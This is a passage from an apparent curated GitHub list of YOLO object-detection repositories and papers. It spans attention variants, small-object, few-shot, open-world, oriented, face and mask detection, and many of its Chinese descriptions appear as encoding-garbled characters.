- [HaloTrouvaille/YOLO-Multi-Backbones-Attention](https://github.com/HaloTrouvaille/YOLO-Multi-Backbones-Attention) <img src="https://img.shields.io/github/stars/HaloTrouvaille/YOLO-Multi-Backbones-Attention?style=social"/> : This Repository includes YOLOv3 with some lightweight backbones (ShuffleNetV2, GhostNet, VoVNet), some computer vision attention mechanism (SE Block, CBAM Block, ECA Block), pruning,quantization and distillation for GhostNet.
- [kay-cottage/CoordAttention_YOLOX_Pytorch](https://github.com/kay-cottage/CoordAttention_YOLOX_Pytorch) <img src="https://img.shields.io/github/stars/kay-cottage/CoordAttention_YOLOX_Pytorch?style=social"/> : CoordAttention_YOLOX(ๅบไบCoordAttentionๅๆ ๆณจๆๅๆบๅถ็ๆน่ฟ็YOLOX็ฎๆ ๆฃๆตๅนณๅฐ๏ผใ "Coordinate Attention for Efficient Mobile Network Design". (**[CVPR 2021](https://openaccess.thecvf.com/content/CVPR2021/html/Hou_Coordinate_Attention_for_Efficient_Mobile_Network_Design_CVPR_2021_paper.html), [ Andrew-Qibin/CoordAttention](https://github.com/Andrew-Qibin/CoordAttention)**)
- [liangzhendong123/Attention-yolov5](https://github.com/liangzhendong123/Attention-yolov5) <img src="https://img.shields.io/github/stars/liangzhendong123/Attention-yolov5?style=social"/> : ๅบไบๆณจๆๅๆบๅถๆน่ฟ็yolov5ๆจกๅใ
- [e96031413/AA-YOLO](https://github.com/e96031413/AA-YOLO) <img src="https://img.shields.io/github/stars/e96031413/AA-YOLO?style=social"/> : Attention ALL-CNN Twin Head YOLO (AA -YOLO). "Improving Tiny YOLO with Fewer Model Parameters". (**[IEEE BigMM 2021](https://ieeexplore.ieee.org/abstract/document/9643269/)**)
- [anonymoussss/YOLOX-SwinTransformer](https://github.com/anonymoussss/YOLOX-SwinTransformer) <img src="https://img.shields.io/github/stars/anonymoussss/YOLOX-SwinTransformer?style=social"/> : YOLOX with Swin-Transformer backbone.
- [GuanRunwei/MAN-and-CAT](https://github.com/GuanRunwei/MAN-and-CAT) <img src="https://img.shields.io/github/stars/GuanRunwei/MAN-and-CAT?style=social"/> : "MAN and CAT: mix attention to nn and concatenate attention to YOLO". (**[ The Journal of Supercomputing, 2022](https://link.springer.com/article/10.1007/s11227-022-04726-7)**)
- ### Small Object Detection
#### ๅฐ็ฎๆ ๆฃๆต
- [kuanhungchen/awesome-tiny-object-detection](https://github.com/kuanhungchen/awesome-tiny-object-detection) <img src="https://img.shields.io/github/stars/kuanhungchen/awesome-tiny-object-detection?style=social"/> : ๐ถ A curated list of Tiny Object Detection papers and related resources.
- [shaunyuan22/SODA](https://github.com/shaunyuan22/SODA) <img src="https://img.shields.io/github/stars/shaunyuan22/SODA?style=social"/> : Official code library for SODA: A Large-scale Benchmark for Small Object Detection. "Towards Large-Scale Small Object Detection: Survey and Benchmarks". (**[arXiv 2022](https://arxiv.org/abs/2207.14096)**)
- [SAHI](https://github.com/obss/sahi) <img src="https://img.shields.io/github/stars/obss/sahi?style=social"/> : "Slicing Aided Hyper Inference and Fine-tuning for Small Object Detection". (**[arXiv 2022](https://arxiv.org/abs/2202.06934v2), [Zenodo 2021](https://doi.org/10.5281/zenodo.5718950)**). A lightweight vision library for performing large scale object detection/ instance segmentation. SAHI currently supports [YOLOv5 models](https://github.com/ultralytics/yolov5/releases), [MMDetection models](https://github.com/open-mmlab/mmdetection/blob/master/docs/en/model_zoo.md), [Detectron2 models](https://github.com/facebookresearch/detectron2/blob/main/MODEL_ZOO.md), [HuggingFace models](https://huggingface.co/models?pipeline_tag=object-detection&sort=downloads) and [TorchVision models](https://pytorch.org/docs/stable/torchvision/models.html).
- [Slim-neck by GSConv](https://github.com/AlanLi1997/slim-neck-by-gsconv) <img src="https://img.shields.io/github/stars/AlanLi1997/slim-neck-by-gsconv?style=social"/> : "Slim-neck by GSConv: A better design paradigm of detector architectures for autonomous vehicles". (**[arXiv 2022](https://arxiv.org/abs/2206.02424)**)
- [hustvl/TinyDet](https://github.com/hustvl/TinyDet) <img src="https://img.shields.io/github/stars/hustvl/TinyDet?style=social"/> : "TinyDet: accurately detecting small objects within 1 GFLOPs". (**[Science China Information Sciences, 2023](https://link.springer.com/article/10.1007/s11432-021-3504-4)**)
- [QueryDet](https://github.com/ChenhongyiYang/QueryDet-PyTorch) <img src="https://img.shields.io/github/stars/ChenhongyiYang/QueryDet-PyTorch?style=social"/> : "QueryDet: Cascaded Sparse Query for Accelerating High-Resolution Small Object Detection". (**[CVPR 2022](https://openaccess.thecvf.com/content/CVPR2022/html/Yang_QueryDet_Cascaded_Sparse_Query_for_Accelerating_High-Resolution_Small_Object_Detection_CVPR_2022_paper.html)**)
- [RFLA](https://github.com/Chasel-Tsui/mmdet-rfla) <img src="https://img.shields.io/github/stars/Chasel-Tsui/mmdet-rfla?style=social"/> : "RFLA: Gaussian Receptive Field based Label Assignment for Tiny Object Detection". (**[ECCV 2022](https://arxiv.org/abs/2208.08738)**). "ๅพฎไฟกๅ
ฌไผๅทใCVๆๆฏๆๅใใ[ECCV 2022 | RFLA๏ผๅบไบ้ซๆฏๆๅ้็ๅพฎๅฐ็ฎๆ ๆฃๆตๆ ็ญพๅ้
](https://mp.weixin.qq.com/s/h0J775I3D6zoTIeaJRnFgQ)ใ"
- [YOLT](https://github.com/avanetten/yolt) <img src="https://img.shields.io/github/stars/avanetten/yolt?style=social"/> : "You Only Look Twice: Rapid Multi-Scale Object Detection In Satellite Imagery". (**[arXiv 2018](https://arxiv.org/abs/1805.09512)**). "ๅพฎไฟกๅ
ฌไผๅทใๆฑๅคง็ฝใใ[ๅบไบๅคงๅฐบๅฏธๅพๅ็ๅฐ็ฎๆ ๆฃๆต็ซ่ต็ป้ชๆป็ป](https://mp.weixin.qq.com/s?__biz=Mzg5NzgyNTU2Mg==&mid=2247498265&idx=1&sn=1eee95f8f4d09d761dc7b94f4ac55c34&source=41#wechat_redirect)ใ"
- [SIMRDWN](https://github.com/avanetten/simrdwn) <img src="https://img.shields.io/github/stars/avanetten/simrdwn?style=social"/> : "Satellite Imagery Multiscale Rapid Detection with Windowed Networks". (**[arXiv 2018](https://arxiv.org/abs/1809.09978), [WACV 2019](https://ieeexplore.ieee.org/abstract/document/8659155)**)
- [YOLTv5](https://github.com/avanetten/yoltv5) <img src="https://img.shields.io/github/stars/avanetten/yoltv5?style=social"/> : YOLTv5 builds upon [YOLT](https://github.com/avanetten/yolt) and [SIMRDWN](https://github.com/avanetten/simrdwn), and updates these frameworks to use the [ultralytics/yolov5](https://github.com/ultralytics/yolov5) version of the YOLO object detection family.
- [TPH-YOLOv5](https://github.com/cv516Buaa/tph-yolov5) <img src="https://img.shields.io/github/stars/cv516Buaa/tph-yolov5?style=social"/> : "TPH-YOLOv5: Improved YOLOv5 Based on Transformer Prediction Head for Object Detection on Drone-Captured Scenarios". (**[ICCV 2021](https://openaccess.thecvf.com/content/ICCV2021W/VisDrone/html/Zhu_TPH-YOLOv5_Improved_YOLOv5_Based_on_Transformer_Prediction_Head_for_Object_ICCVW_2021_paper.html)**)
- [mwaseema/Drone-Detection](https://github.com/mwaseema/Drone-Detection) <img src="https://img.shields.io/github/stars/mwaseema/Drone-Detection?style=social"/> : "Dogfight: Detecting Drones from Drones Videos". (**[CVPR 2021](https://openaccess.thecvf.com/content/CVPR2021/html/Ashraf_Dogfight_Detecting_Drones_From_Drones_Videos_CVPR_2021_paper.html)**)
- [CEASA](https://github.com/cuogeihong/ceasc) <img src="https://img.shields.io/github/stars/cuogeihong/ceasc?style=social"/> : "Adaptive Sparse Convolutional Networks with Global Context Enhancement for Faster Object Detection on Drone Images". (**[arXiv 2023](https://arxiv.org/abs/2303.14488)**). "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[ๅณๆๅณ็จ | CEASAๆจกๅ็ปไฝ ๆๆ๏ผๅฐ็ฎๆ ็ฒพๅบฆๆๅ็ๅๆถ้ๅบฆไนๅๅฟซไบ](https://mp.weixin.qq.com/s/-a4Wz04jLHFiAU88pUyDNQ)ใ"
- [KevinMuyaoGuo/yolov5s_for_satellite_imagery](https://github.com/KevinMuyaoGuo/yolov5s_for_satellite_imagery) <img src="https://img.shields.io/github/stars/KevinMuyaoGuo/yolov5s_for_satellite_imagery?style=social"/> : ๅบไบYOLOv5็ๅซๆๅพๅ็ฎๆ ๆฃๆตdemo | A demo for satellite imagery object detection based on YOLOv5ใ
- [Hongyu-Yue/yoloV5_modify_smalltarget](https://github.com/Hongyu-Yue/yoloV5_modify_smalltarget) <img src="https://img.shields.io/github/stars/Hongyu-Yue/yoloV5_modify_smalltarget?style=social"/> : YOLOV5 ๅฐ็ฎๆ ๆฃๆตไฟฎๆน็ใ
- [muyuuuu/Self-Supervise-Object-Detection](https://github.com/muyuuuu/Self-Supervise-Object-Detection) <img src="https://img.shields.io/github/stars/muyuuuu/Self-Supervise-Object-Detection?style=social"/> : Self-Supervised Object Detection. ๆฐด้ขๆผๆตฎๅๅพ็ฎๆ ๆฃๆต๏ผๅๆๆบ็ ๆนๅ yolox ๆฃๆตๅฐ็ฎๆ ็็ผบ้ท๏ผๆๅบ่ช็็ฃ็ฎๆณ้ข่ฎญ็ปๆ ๆ ็ญพๆฐๆฎ๏ผๆๅๆฃๆตๆง่ฝใ
- [swricci/small-boat-detector](https://github.com/swricci/small-boat-detector) <img src="https://img.shields.io/github/stars/swricci/small-boat-detector?style=social"/> : Trained yolo v3 model weights and configuration file to detect small boats in satellite imagery.
- [Resham-Sundar/sahi-yolox](https://github.com/Resham-Sundar/sahi-yolox) <img src="https://img.shields.io/github/stars/Resham-Sundar/sahi-yolox?style=social"/> : YoloX with SAHI Implementation.
- YOLO-Z : "YOLO-Z: Improving small object detection in YOLOv5 for autonomous vehicles". (**[arXiv 2021](https://arxiv.org/abs/2112.11798)**). "ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่ง็ ็ฉถ้ขใใ[Yolo-Z๏ผๆน่ฟ็YOLOv5็จไบๅฐ็ฎๆ ๆฃๆต๏ผ้ๅ่ฎบๆไธ่ฝฝ๏ผ](https://mp.weixin.qq.com/s/ehkUapLOMdDghF2kAoAV4w)ใ".
- M2S : "A novel Multi to Single Module for small object detection". (**[arXiv 2023](https://arxiv.org/abs/2303.14977)**). "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[ๅบไบYOLOv5ๆน่ฟๅ่ฎพ่ฎก | M2Sๅ
จ้ขๆๅๅฐ็ฎๆ ็ฒพๅบฆ](https://mp.weixin.qq.com/s/FlKgYYGUHtJAxCF2wrh4NA)ใ".
- [ultralytics/xview-yolov3](https://github.com/ultralytics/xview-yolov3) <img src="https://img.shields.io/github/stars/ultralytics/xview-yolov3?style=social"/> : xView 2018 Object Detection Challenge: YOLOv3 Training and Inference.
- [inderpreet1390/yolov5-small-target](https://github.com/inderpreet1390/yolov5-small-target) <img src="https://img.shields.io/github/stars/inderpreet1390/yolov5-small-target?style=social"/> : Repository for improved yolov5 for small target detection.
- [AllenSquirrel/YOLOv3_ReSAM](https://github.com/AllenSquirrel/YOLOv3_ReSAM) <img src="https://img.shields.io/github/stars/AllenSquirrel/YOLOv3_ReSAM?style=social"/> : YOLOv3_ReSAM:A Small Target Detection Method With Spatial Attention Module.
- [kadirnar/yolov5-sahi](https://github.com/kadirnar/yolov5-sahi) <img src="https://img.shields.io/github/stars/kadirnar/yolov5-sahi?style=social"/> : Yolov5 Modelini Kullanarak รzel Nesne Eฤitimi ve SAHI Kullanฤฑmฤฑ.
- [kadirnar/Yolov6-SAHI](https://github.com/kadirnar/Yolov6-SAHI) <img src="https://img.shields.io/github/stars/kadirnar/Yolov6-SAHI?style=social"/> : Yolov6-SAHI.
- [zRzRzRzRzRzRzR/Mult-YOLO-alogorithm-of-RoboMaster-Radar-Detection-2023](https://github.com/zRzRzRzRzRzRzR/Mult-YOLO-alogorithm-of-RoboMaster-Radar-Detection-2023) <img src="https://img.shields.io/github/stars/zRzRzRzRzRzRzR/Mult-YOLO-alogorithm-of-RoboMaster-Radar-Detection-2023?style=social"/> : 2023ๅนด่ฅฟไบคๅฉ็ฉๆตฆๅคงๅญฆๅจไบ็งๆGMasterๆ้้ท่พพyoloๅฐ็ฎๆ ๆฃๆตใ
- ### Few-shot Object Detection
#### ๅฐๆ ทๆฌ็ฎๆ ๆฃๆต
- [bingykang/Fewshot_Detection](https://github.com/bingykang/Fewshot_Detection) <img src="https://img.shields.io/github/stars/bingykang/Fewshot_Detection?style=social"/> : "Few-shot Object Detection via Feature Reweighting". (**[ICCV 2019](https://openaccess.thecvf.com/content_ICCV_2019/html/Kang_Few-Shot_Object_Detection_via_Feature_Reweighting_ICCV_2019_paper.html)**).
- [SSDA-YOLO](https://github.com/hnuzhy/SSDA-YOLO) <img src="https://img.shields.io/github/stars/hnuzhy/SSDA-YOLO?style=social"/> : Codes for my paper "SSDA-YOLO: Semi-supervised Domain Adaptive YOLO for Cross-Domain Object Detection". (**[Computer Vision and Image Understanding, 2023](https://www.sciencedirect.com/science/article/abs/pii/S1077314223000292)**).
- [OneTeacher](https://github.com/luogen1996/OneTeacher) <img src="https://img.shields.io/github/stars/luogen1996/OneTeacher?style=social"/> : "Towards End-to-end Semi-supervised Learning for One-stage Object Detection". (**[arXiv 2023](https://arxiv.org/abs/2302.11299)**).
- [Efficient Teacher](https://github.com/AlibabaResearch/efficientteacher) <img src="https://img.shields.io/github/stars/AlibabaResearch/efficientteacher?style=social"/> : "Efficient Teacher: Semi-Supervised Object Detection for YOLOv5". (**[arXiv 2023](https://arxiv.org/abs/2302.07577)**).
- ### Open World Object Detection
#### ๅผๆพไธ็็ฎๆ ๆฃๆต
- [UniDetector](https://github.com/zhenyuw16/UniDetector) <img src="https://img.shields.io/github/stars/zhenyuw16/UniDetector?style=social"/> : "Detecting Everything in the Open World: Towards Universal Object Detection". (**[CVPR 2023](https://arxiv.org/abs/2303.11749)**). "ๅพฎไฟกๅ
ฌไผๅทใๆ็ฑ่ฎก็ฎๆบ่ง่งใใ[CVPR 2023 | ๆ ๆณจ500็ฑป๏ผๆฃๆต7000็ฑป๏ผๆธ
ๅๅคงๅญฆ็ญๆๅบ้็จ็ฎๆ ไปทๆต็ฎๆณUniDetector](https://mp.weixin.qq.com/s/r7N8X_8riboCvafl9f1vDQ)ใ". "ๅพฎไฟกๅ
ฌไผๅทใ่ชๅจ้ฉพ้ฉถไนๅฟใใ[CVPR 2023๏ฝUniDetector๏ผ7000็ฑป้็จ็ฎๆ ๆฃๆต็ฎๆณ๏ผๆธฏๅคง&ๆธ
ๅ๏ผ](https://mp.weixin.qq.com/s/iRe4RhSEm4Oe4DxKX5wu9w)ใ"
- [buxihuo/OW-YOLO](https://github.com/buxihuo/OW-YOLO) <img src="https://img.shields.io/github/stars/buxihuo/OW-YOLO?style=social"/> : Detect known and unknown objects in the open world๏ผๅ
ทๆๅบๅๅทฒ็ฅไธๆช็ฅ่ฝๅ็ๅ
จๆฐๆฃๆตๅจ๏ผ๏ผ.
- ### Oriented Object Detection
#### ๆ่ฝฌ็ฎๆ ๆฃๆต
- [AlphaRotate](https://github.com/yangxue0827/RotationDetection) <img src="https://img.shields.io/github/stars/yangxue0827/RotationDetection?style=social"/> : "AlphaRotate: A Rotation Detection Benchmark using TensorFlow". (**[arXiv 2021](https://arxiv.org/abs/2111.06677)**)
- [hukaixuan19970627/yolov5_obb](https://github.com/hukaixuan19970627/yolov5_obb) <img src="https://img.shields.io/github/stars/hukaixuan19970627/yolov5_obb?style=social"/> : yolov5 + csl_label.(Oriented Object Detection)๏ผRotation Detection๏ผ๏ผRotated BBox๏ผๅบไบyolov5็ๆ่ฝฌ็ฎๆ ๆฃๆตใ
- [BossZard/rotation-yolov5](https://github.com/BossZard/rotation-yolov5) <img src="https://img.shields.io/github/stars/BossZard/rotation-yolov5?style=social"/> : rotation detection based on yolov5.
- [acai66/yolov5_rotation](https://github.com/acai66/yolov5_rotation) <img src="https://img.shields.io/github/stars/acai66/yolov5_rotation?style=social"/> : rotated bbox detection. inspired by [hukaixuan19970627/yolov5_obb](https://github.com/hukaixuan19970627/yolov5_obb), thanks hukaixuan19970627.
- [ming71/rotate-yolov3](https://github.com/ming71/rotate-yolov3) <img src="https://img.shields.io/github/stars/ming71/rotate-yolov3?style=social"/> : Arbitrary oriented object detection implemented with yolov3 (attached with some tricks).
- [ming71/yolov3-polygon](https://github.com/ming71/yolov3-polygon) <img src="https://img.shields.io/github/stars/ming71/yolov3-polygon?style=social"/> : Arbitrary-oriented object detection based on yolov3.
- [kunnnnethan/R-YOLOv4](https://github.com/kunnnnethan/R-YOLOv4) <img src="https://img.shields.io/github/stars/kunnnnethan/R-YOLOv4?style=social"/> : This is a PyTorch-based R-YOLOv4 implementation which combines YOLOv4 model and loss function from R3Det for arbitrary oriented object detection.
- [XinzeLee/PolygonObjectDetection](https://github.com/XinzeLee/PolygonObjectDetection) <img src="https://img.shields.io/github/stars/XinzeLee/PolygonObjectDetection?style=social"/> : This repository is based on Ultralytics/yolov5, with adjustments to enable polygon prediction boxes.
- [hukaixuan19970627/DOTA_devkit_YOLO](https://github.com/hukaixuan19970627/DOTA_devkit_YOLO) <img src="https://img.shields.io/github/stars/hukaixuan19970627/DOTA_devkit_YOLO?style=social"/> : Trans DOTA OBB format(poly format) to YOLO format.
- [hpc203/rotate-yolov5-opencv-onnxrun](https://github.com/hpc203/rotate-yolov5-opencv-onnxrun) <img src="https://img.shields.io/github/stars/hpc203/rotate-yolov5-opencv-onnxrun?style=social"/> : ๅๅซไฝฟ็จOpenCVใONNXRuntime้จ็ฝฒyolov5ๆ่ฝฌ็ฎๆ ๆฃๆต๏ผๅ
ๅซC++ๅPythonไธคไธช็ๆฌ็็จๅบใ
- [hpc203/rotateyolov5-opencv-onnxrun](https://github.com/hpc203/rotateyolov5-opencv-onnxrun) <img src="https://img.shields.io/github/stars/hpc203/rotateyolov5-opencv-onnxrun?style=social"/> : ๅๅซไฝฟ็จOpenCV๏ผONNXRuntime้จ็ฝฒyolov5ๆ่ฝฌ็ฎๆ ๆฃๆต๏ผๅ
ๅซC++ๅPythonไธคไธช็ๆฌ็็จๅบใ
- [kunnnnethan/R-YOLOv4](https://github.com/kunnnnethan/R-YOLOv4) <img src="https://img.shields.io/github/stars/kunnnnethan/R-YOLOv4?style=social"/> : This is a PyTorch-based R-YOLOv4 implementation which combines YOLOv4 model and loss function from R3Det for arbitrary oriented object detection.
- [DDGRCF/YOLOX_OBB](https://github.com/DDGRCF/YOLOX_OBB) <img src="https://img.shields.io/github/stars/DDGRCF/YOLOX_OBB?style=social"/> : YOLOX OBB -- YOLOX ๆ่ฝฌๆก | ๅฎไพๅๅฒใ "็ฅไนใๅๅ็ใใ[YOLOX OBB -- YOLOX ๆ่ฝฌๆกๆฃๆต ่ถ
่ฏฆ็ป๏ผ๏ผ๏ผ](https://zhuanlan.zhihu.com/p/430850089)ใ"ใ
- ### Face Detection and Recognition
#### ไบบ่ธๆฃๆตไธ่ฏๅซ
- #### Face Detection
##### ไบบ่ธๆฃๆต
- [YOLO5Face](https://github.com/deepcam-cn/yolov5-face) <img src="https://img.shields.io/github/stars/deepcam-cn/yolov5-face?style=social"/> : "YOLO5Face: Why Reinventing a Face Detector". (**[arXiv 2021](https://arxiv.org/abs/2105.12931)**)
- [derronqi/yolov7-face](https://github.com/derronqi/yolov7-face) <img src="https://img.shields.io/github/stars/derronqi/yolov7-face?style=social"/> : yolov7 face detection with landmark.
- [derronqi/yolov8-face](https://github.com/derronqi/yolov8-face) <img src="https://img.shields.io/github/stars/derronqi/yolov8-face?style=social"/> : yolov8 face detection with landmark.
- [we0091234/yolov7-face-tensorrt](https://github.com/we0091234/yolov7-face-tensorrt) <img src="https://img.shields.io/github/stars/we0091234/yolov7-face-tensorrt?style=social"/> : yolov7-face TensorRT.
- [YOLO-FaceV2](https://github.com/Krasjet-Yu/YOLO-FaceV2) <img src="https://img.shields.io/github/stars/Krasjet-Yu/YOLO-FaceV2?style=social"/> : "YOLO-FaceV2: A Scale and Occlusion Aware Face Detector ". (**[arXiv 2022](https://arxiv.org/abs/2208.02019)**). "ๅพฎไฟกๅ
ฌไผๅทใๆฑๅคง็ฝใใ[่ถ
่ถYolo5-Face๏ผYolo-Facev2ๅผๆบ๏ผๅ็ฑปTrickไผๅ๏ผๅผๅพๅญฆไน ๏ผ](https://mp.weixin.qq.com/s?__biz=Mzg5NzgyNTU2Mg==&mid=2247498561&idx=1&sn=b7ff0592644ab6bc5b716e07294e1c0a&source=41#wechat_redirect)ใ"
- [OAID/TengineKit](https://github.com/OAID/TengineKit) <img src="https://img.shields.io/github/stars/OAID/TengineKit?style=social"/> : TengineKit - Free, Fast, Easy, Real-Time Face Detection & Face Landmarks & Face Attributes & Hand Detection & Hand Landmarks & Body Detection & Body Landmarks & Iris Landmarks & Yolov5 SDK On Mobile.
- [xialuxi/yolov5_face_landmark](https://github.com/xialuxi/yolov5_face_landmark) <img src="https://img.shields.io/github/stars/xialuxi/yolov5_face_landmark?style=social"/> : ๅบไบyolov5็ไบบ่ธๆฃๆต๏ผๅธฆๅ
ณ้ฎ็นๆฃๆตใ
- [sthanhng/yoloface](https://github.com/sthanhng/yoloface) <img src="https://img.shields.io/github/stars/sthanhng/yoloface?style=social"/> : Deep learning-based Face detection using the YOLOv3 algorithm.
- [DayBreak-u/yolo-face-with-landmark](https://github.com/DayBreak-u/yolo-face-with-landmark) <img src="https://img.shields.io/github/stars/DayBreak-u/yolo-face-with-landmark?style=social"/> : yolofaceๅคง็คผๅ
ไฝฟ็จpytrochๅฎ็ฐ็ๅบไบyolov3็่ฝป้็บงไบบ่ธๆฃๆต๏ผๅ
ๅซๅ
ณ้ฎ็น๏ผใ
- [abars/YoloKerasFaceDetection](https://github.com/abars/YoloKerasFaceDetection) <img src="https://img.shields.io/github/stars/abars/YoloKerasFaceDetection?style=social"/> : Face Detection and Gender and Age Classification using Keras.
- [dannyblueliu/YOLO-Face-detection](https://github.com/dannyblueliu/YOLO-Face-detection) <img src="https://img.shields.io/github/stars/dannyblueliu/YOLO-Face-detection?style=social"/> : Face detection based on YOLO darknet.
- [wmylxmj/YOLO-V3-IOU](https://github.com/wmylxmj/YOLO-V3-IOU) <img src="https://img.shields.io/github/stars/wmylxmj/YOLO-V3-IOU?style=social"/> : YOLO3 ๅจๆผซไบบ่ธๆฃๆต (Based on keras and tensorflow) 2019-1-19.
- [pranoyr/head-detection-using-yolo](https://github.com/pranoyr/head-detection-using-yolo) <img src="https://img.shields.io/github/stars/pranoyr/head-detection-using-yolo?style=social"/> : Detection of head using YOLO.
- [grapeot/AnimeHeadDetector](https://github.com/grapeot/AnimeHeadDetector) <img src="https://img.shields.io/github/stars/grapeot/AnimeHeadDetector?style=social"/> : An object detector for character heads in animes, based on Yolo V3.
- [Chenyang-ZHU/YOLOv3-Based-Face-Detection-Tracking](https://github.com/Chenyang-ZHU/YOLOv3-Based-Face-Detection-Tracking) <img src="https://img.shields.io/github/stars/Chenyang-ZHU/YOLOv3-Based-Face-Detection-Tracking?style=social"/> : This is a robot project for television live. System will tracking the host's face, making the face in the middle of the screen.
- [zdfb/Yolov5_face](https://github.com/zdfb/Yolov5_face) <img src="https://img.shields.io/github/stars/zdfb/Yolov5_face?style=social"/> : ๅบไบpytorch็Yolov5ไบบ่ธๆฃๆตใ
- [jinfagang/yolov7-face](https://github.com/jinfagang/yolov7-face) <img src="https://img.shields.io/github/stars/jinfagang/yolov7-face?style=social"/> : Next Gen Face detection based on YOLOv7.
- [Yusepp/YOLOv8-Face](https://github.com/Yusepp/YOLOv8-Face) <img src="https://img.shields.io/github/stars/Yusepp/YOLOv8-Face?style=social"/> : YOLOv8 for Face Detection.
- #### Face Recognition
##### ไบบ่ธ่ฏๅซ
- [ChanChiChoi/awesome-Face_Recognition](https://github.com/ChanChiChoi/awesome-Face_Recognition) <img src="https://img.shields.io/github/stars/ChanChiChoi/awesome-Face_Recognition?style=social"/> : papers about Face Detection; Face Alignment; Face Recognition && Face Identification && Face Verification && Face Representation; Face Reconstruction; Face Tracking; Face Super-Resolution && Face Deblurring; Face Generation && Face Synthesis; Face Transfer; Face Anti-Spoofing; Face Retrieval.
- [hpc203/10kinds-light-face-detector-align-recognition](https://github.com/hpc203/10kinds-light-face-detector-align-recognition) <img src="https://img.shields.io/github/stars/hpc203/10kinds-light-face-detector-align-recognition?style=social"/> : 10็ง่ฝป้็บงไบบ่ธๆฃๆต็ฎๆณ็ๆฏๆผ๏ผๅ
ถไธญ่ฟๅ
ๅซไบบ่ธๅ
ณ้ฎ็นๆฃๆตไธๅฏน้ฝ๏ผไบบ่ธ็นๅพๅ้ๆๅๅ่ฎก็ฎ่ท็ฆป็ธไผผๅบฆใ
- [ooooxianyu/yoloV5-arcface_forlearn](https://github.com/ooooxianyu/yoloV5-arcface_forlearn) <img src="https://img.shields.io/github/stars/ooooxianyu/yoloV5-arcface_forlearn?style=social"/> : ็ฎๅๆผๆฅไธไบๆบ็ ๏ผๅฎ็ฐ็ไบบ่ธ่ฏๅซ้กน็ฎใๅฏไพๅญฆไน ๅ่ใๅ
ทไฝไฝฟ็จๅฐ๏ผyolov5ไบบ่ธๆฃๆตใarcfaceไบบ่ธ่ฏๅซใ
- [zhouyuchong/face-recognition-deepstream](https://github.com/zhouyuchong/face-recognition-deepstream) <img src="https://img.shields.io/github/stars/zhouyuchong/face-recognition-deepstream?style=social"/> : Deepstream app use YOLO, retinaface and arcface for face recognition.
- [duckzhao/face_detection_and_recognition_yolov5](https://github.com/duckzhao/face_detection_and_recognition_yolov5) <img src="https://img.shields.io/github/stars/duckzhao/face_detection_and_recognition_yolov5?style=social"/> : ไฝฟ็จyolov5ๆๅปบไบบ่ธๆฃๆตๆจกๅ๏ผไฝฟ็จ้ข่ฎญ็ป็Arcfaceๅฎๆไบบ่ธ็นๅพๆๅๅ่ฏๅซใ
- [PhucNDA/FaceID--YOLOV5.ArcFace](https://github.com/PhucNDA/FaceID--YOLOV5.ArcFace) <img src="https://img.shields.io/github/stars/PhucNDA/FaceID--YOLOV5.ArcFace?style=social"/> : ONNX implementation of YOLOv5 and Siamese Network (ResNet100) with ArcFace loss for Face Detection and Recognition.
- ### Face Mask Detection
#### ๅฃ็ฝฉๆฃๆต
- [Bil369/MaskDetect-YOLOv4-PyTorch](https://github.com/Bil369/MaskDetect-YOLOv4-PyTorch) <img src="https://img.shields.io/github/stars/Bil369/MaskDetect-YOLOv4-PyTorch?style=social"/> : ๅบไบPyTorch&YOLOv4ๅฎ็ฐ็ๅฃ็ฝฉไฝฉๆดๆฃๆต โญ ่ชๅปบๅฃ็ฝฉๆฐๆฎ้ๅไบซใ
- [adityap27/face-mask-detector](https://github.com/adityap27/face-mask-detector) <img src="https://img.shields.io/github/stars/adityap27/face-mask-detector?style=social"/> : ๐๐๐๐ฅ-๐๐ข๐ฆ๐ ๐
๐๐๐ ๐ฆ๐๐ฌ๐ค ๐๐๐ญ๐๐๐ญ๐ข๐จ๐ง ๐ฎ๐ฌ๐ข๐ง๐ ๐๐๐๐ฉ๐ฅ๐๐๐ซ๐ง๐ข๐ง๐ ๐ฐ๐ข๐ญ๐ก ๐๐ฅ๐๐ซ๐ญ ๐ฌ๐ฒ๐ฌ๐ญ๐๐ฆ ๐ป๐.
- [VictorLin000/YOLOv3_mask_detect](https://github.com/VictorLin000/YOLOv3_mask_detect) <img src="https://img.shields.io/github/stars/VictorLin000/YOLOv3_mask_detect?style=social"/> : Face mask detection using YOLOv3 on GoogleColab.
- [amh28/IBM-Data-Science-Capstone-Alejandra-Marquez](https://github.com/amh28/IBM-Data-Science-Capstone-Alejandra-Marquez) <img src="https://img.shields.io/github/stars/amh28/IBM-Data-Science-Capstone-Alejandra-Marquez?style=social"/> : Homemade face mask detector fine-tuning a Yolo-v3 network.
- [LorenRd/JetsonYolov4](https://github.com/LorenRd/JetsonYolov4) <img src="https://img.shields.io/github/stars/LorenRd/JetsonYolov4?style=social"/> : Face Mask Yolov4 detector - Nvidia Jetson Nano.
- [Backl1ght/yolov4_face_mask_detection](https://github.com/Backl1ght/yolov4_face_mask_detection) <img src="https://img.shields.io/github/stars/Backl1ght/yolov4_face_mask_detection?style=social"/> : ๅบไบyolov4ๅฎ็ฐๅฃ็ฝฉไฝฉๆดๆฃๆต๏ผๅจ้ช่ฏ้ไธๅๅฐไบ0.954็mAPใ
- [pritul2/yolov5_FaceMask](https://github.com/pritul2/yolov5_FaceMask) <img src="https://img.shields.io/github/stars/pritul2/yolov5_FaceMask?style=social"/> : Detecting person with or without face mask. Trained using YOLOv5.
- [NisargPethani/FACE-MASK-DETECTION-USING-YOLO-V3](https://github.com/NisargPethani/FACE-MASK-DETECTION-USING-YOLO-V3) <img src="https://img.shields.io/github/stars/NisargPethani/FACE-MASK-DETECTION-USING-YOLO-V3?style=social"/> : FACE-MASK DETECTION.
- [waittim/mask-detector](https://github.com/waittim/mask-detector) <img src="https://img.shields.io/github/stars/waittim/mask-detector?style=social"/> : Real-time video streaming mask detection based on Python. Designed to defeat COVID-19.
- [BogdanMarghescu/Face-Mask-Detection-Using-YOLOv4](https://github.com/BogdanMarghescu/Face-Mask-Detection-Using-YOLOv4) <img src="https://img.shields.io/github/stars/BogdanMarghescu/Face-Mask-Detection-Using-YOLOv4?style=social"/> : Face Mask Detector using YOLOv4.
- [xinghanliuying/yolov5_bus](https://github.com/xinghanliuying/yolov5_bus) <img src="https://img.shields.io/github/stars/xinghanliuying/yolov5_bus?style=social"/> : ๆๆๆๆไฝ ไฝฟ็จYOLOV5่ฎญ็ป่ชๅทฑ็็ฎๆ ๆฃๆตๆจกๅใ
